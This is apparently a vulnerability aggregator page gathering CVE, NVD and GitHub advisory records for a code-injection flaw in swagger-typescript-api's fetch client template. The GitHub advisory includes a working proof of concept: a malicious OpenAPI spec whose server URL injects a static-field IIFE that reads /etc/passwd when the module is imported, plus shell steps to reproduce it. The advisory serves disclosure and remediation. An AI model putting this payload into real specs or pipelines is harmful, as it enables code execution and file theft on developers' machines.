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swagger-typescript-api vulnerable to code injection via unescaped `servers[0].url` in fetch http-client template

Collected exploitation and prediction evidence

Risk source coverage

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

cve-program · CVE-2026-54662

Published

swagger-typescript-api generates API clients for Fetch or Axios from OpenAPI specifications. Prior to 13.12.2, src/code-gen-process.ts createApiConfig copies servers[0].url into apiConfig.baseUrl, and templates/base/http-clients/fetch-http-client.ejs interpolates apiConfig.baseUrl into the generated HttpClient baseUrl field without escaping, allowing an attacker-controlled OpenAPI spec to inject TypeScript static field code that executes when the generated fetch client module is imported. This issue is fixed in version 13.12.2.

Source published
29 Jul 2026 14:26:15 UTC
Source modified
29 Jul 2026 15:16:06 UTC
Observed here
23 Oct 2026 15:48:27 UTC
Source terms
CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 8.3 CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

nvd · CVE-2026-54662

Published

swagger-typescript-api generates API clients for Fetch or Axios from OpenAPI specifications. Prior to 13.12.2, src/code-gen-process.ts createApiConfig copies servers[0].url into apiConfig.baseUrl, and templates/base/http-clients/fetch-http-client.ejs interpolates apiConfig.baseUrl into the generated HttpClient baseUrl field without escaping, allowing an attacker-controlled OpenAPI spec to inject TypeScript static field code that executes when the generated fetch client module is imported. This issue is fixed in version 13.12.2.

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Deferred

Weakness classifications: CWE-74 · CWE-94 · CWE-1336

Original publisher date fields

published: 2026-07-29T15:16:25.577

lastModified: 2026-10-23T23:10:00.157

Source published
29 Jul 2026 15:16:25 UTC
Source modified
23 Oct 2026 23:10:00 UTC
Observed here
25 Oct 2026 13:17:28 UTC
Source terms
NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 8.3 CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

osv · GHSA-hqj5-cw9f-rx67

Published

### Summary `swagger-typescript-api` interpolates `servers[0].url` directly into a TypeScript class-body field initializer of the generated **fetch** `HttpClient` (`templates/base/http-clients/fetch-http-client.ejs:75`), without any escaping. A malicious URL containing a `"` closes the string literal that initializes `public baseUrl` and exposes the surrounding *class body* to injection. The most direct exploit declares a new `static` field whose initializer is an async IIFE — TypeScript evaluates static field initializers at **class definition time**, which is at module load. A consumer who imports the generated client (or anything that transitively imports it) executes the injected code with no further interaction — no instantiation, no method call, no use of the baseUrl. The attacker controls the OpenAPI spec; the victim is whoever runs the generator and imports the result. This is the highest-impact sink in the package: the trigger requires only a bare `import` of the generated module. ### Details `createApiConfig` in `src/code-gen-process.ts:591` sets the templated `baseUrl` from the spec without sanitization: ```ts return { ... baseUrl: serverUrl, // <-- serverUrl = swaggerSchema.servers[0].url, raw ... }; ``` The fetch http-client template (`templates/base/http-clients/fetch-http-client.ejs:75`) then interpolates that value into a TS string literal that initializes a public class-body field of the generated `HttpClient`: ```ejs export class HttpClient<SecurityDataType = unknown> { public baseUrl: string = "<%~ apiConfig.baseUrl %>"; private securityData: SecurityDataType | null = null; ... } ``` `<%~ %>` is Eta's raw, unescaped interpolation. The codebase's only escape function — `escapeJSDocContent` (`src/schema-parser/schema-formatters.ts:127`) — only replaces `*/` and is not applied to this path. TypeScript class-body grammar permits any number of field declarations and `static` blocks between `{` and `}`. A spec value of the form: ``` URL"; static _pwn = (IIFE)(); public x: string = " ``` produces the following class body: ```ts export class HttpClient<SecurityDataType = unknown> { public baseUrl: string = "URL"; static _pwn = (IIFE)(); // <-- static field initializer public x: string = ""; private securityData: SecurityDataType | null = null; ... } ``` The `static _pwn = (IIFE)()` declaration's initializer is evaluated at **class definition** — i.e. when the TS class declaration is processed, which is at the moment the generated module is imported. The trailing `public x: string = "` reopens a string that the template's own closing `"` terminates, keeping the file syntactically valid TypeScript. The same `Api` class (in `default/api.ejs`) extends `HttpClient`. Importing the generated module evaluates the `HttpClient` class declaration during module initialization — no `new HttpClient()`, no `new Api()`, no method call. Importing anything that transitively depends on the generated module is sufficient. ### PoC Self-contained reproducer (`run.sh` runs end-to-end: install pinned package → generate from control + payload → bundle with esbuild → bare-import → check canary). Tested on `[email protected]` and Node `v24.11.1`. **Malicious `servers[0].url`** (literal string, JSON-encoded in the spec below): ``` https://api.example.com"; static _pwn = (async () => { try { const fs = await import('node:fs'); const data = fs.readFileSync('/etc/passwd', 'utf8'); fs.writeFileSync('/tmp/sta_canary', data); } catch (e) {} })(); public x: string = " ``` **Minimal payload spec:** ```json { "openapi": "3.0.0", "info": { "title": "FetchPayloadAPI", "version": "1.0.0" }, "servers": [ { "url": "https://api.example.com\"; static _pwn = (async () => { try { const fs = await import('node:fs'); const data = fs.readFileSync('/etc/passwd', 'utf8'); fs.writeFileSync('/tmp/sta_canary', data); } catch (e) {} })(); public x: string = \"" } ], "paths": { "/ping": { "get": { "operationId": "ping", "responses": { "200": { "description": "OK" } } } } } } ``` **Steps:** ```bash npm install [email protected] esbuild node -e "import('swagger-typescript-api').then(m => m.generateApi({ name: 'Api.ts', output: process.cwd() + '/out', input: process.cwd() + '/payload-spec.json', httpClientType: 'fetch' }))" npx esbuild out/Api.ts --bundle --format=esm --platform=node \ --tsconfig-raw='{}' --outfile=out/Api.bundle.mjs rm -f /tmp/sta_canary node --input-type=module -e "await import('./out/Api.bundle.mjs'); await new Promise(r => setTimeout(r, 300));" ls -la /tmp/sta_canary && cat /tmp/sta_canary ``` **Generated `out/Api.ts` (HttpClient class body — payload, Biome-formatted):** ```ts export class HttpClient<SecurityDataType = unknown> { public baseUrl: string = "https://api.example.com"; static _pwn = (async () => { try { const fs = await import("node:fs"); const data = fs.readFileSync("/etc/passwd", "utf8"); fs.writeFileSync("/tmp/sta_canary", data); } catch (e) {} })(); public x: string = ""; private securityData: SecurityDataType | null = null; ... } ``` `static _pwn = (async () => { ... })()` is a real TypeScript static class field declaration — Biome only reformats syntactically valid TS, so the multi-line indented output proves it parsed. The IIFE evaluates when the class declaration is processed, schedules `fs.readFileSync('/etc/passwd')`, and writes the exfiltrated contents to `/tmp/sta_canary`. **Result:** after a bare `await import('./out/Api.bundle.mjs')` (no instantiation, no method call), `/tmp/sta_canary` contains the full `/etc/passwd` of the importing process (1470 bytes on a typical Linux host). Control spec (`servers[0].url: "https://api.example.com"`) generates a clean `public baseUrl: string = "https://api.example.com";` and writes no canary. ### Impact **Type:** Code injection in generated output (CWE-94) / template-engine injection (CWE-1336). **Affected use cases:** any developer or pipeline that runs `swagger-typescript-api` against an OpenAPI spec they did not author entirely: - `sta generate --url https://attacker.example/openapi.json` — a public, third-party, or attacker-hosted spec. - A CI/CD pipeline regenerating fetch-based clients from a vendor / partner spec on each build. - A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs. - Any project pinned to a spec file that a contributor can modify via PR. **Lifecycle:** the injected `static` initializer fires at **module load** — the moment the generated module is `import`ed. A consumer does not need to instantiate `HttpClient`, does not need to construct `Api`, does not need to call any API method, does not need to read the baseUrl. Importing the generated module (or anything that transitively imports it) is sufficient. This is the absolute minimum interaction a consumer can have with a generated client. **Privilege:** the IIFE runs with the full privileges of the importing process — read any file the importer can read, write any file, exfiltrate secrets, spawn child processes, make network requests, etc. **Suggested fix:** sanitize `apiConfig.baseUrl` once at the source in `src/code-gen-process.ts:591`: ```ts // in createApiConfig baseUrl: escapeJsStringLiteral(serverUrl), ``` where `escapeJsStringLiteral` produces a properly-escaped JS string literal — at minimum escaping `"`, `\`, `\n`, `\r`, `\t`, `\b`, `\f`, `\v`, `\0`, and the line/paragraph separators ` ` / ` `. `JSON.stringify(serverUrl).slice(1, -1)` is a one-line acceptable implementation. **This single change also closes the axios sibling sink** at `templates/base/http-clients/axios-http-client.ejs:71` (filed separately), since both templates read the same `apiConfig.baseUrl` value. If a template-side fix is preferred instead, both `templates/base/http-clients/fetch-http-client.ejs:75` and `templates/base/http-clients/axios-http-client.ejs:71` need their `<%~ apiConfig.baseUrl %>` swapped for the escaped form — fixing only one leaves the other exploitable. Submitted by: Hamza Haroon (thegr1ffyn)

Source published
29 Jul 2026 14:26:38 UTC
Source modified
13 Aug 2026 05:15:07 UTC
Observed here
24 Oct 2026 13:17:17 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

Publisher rating · HIGH

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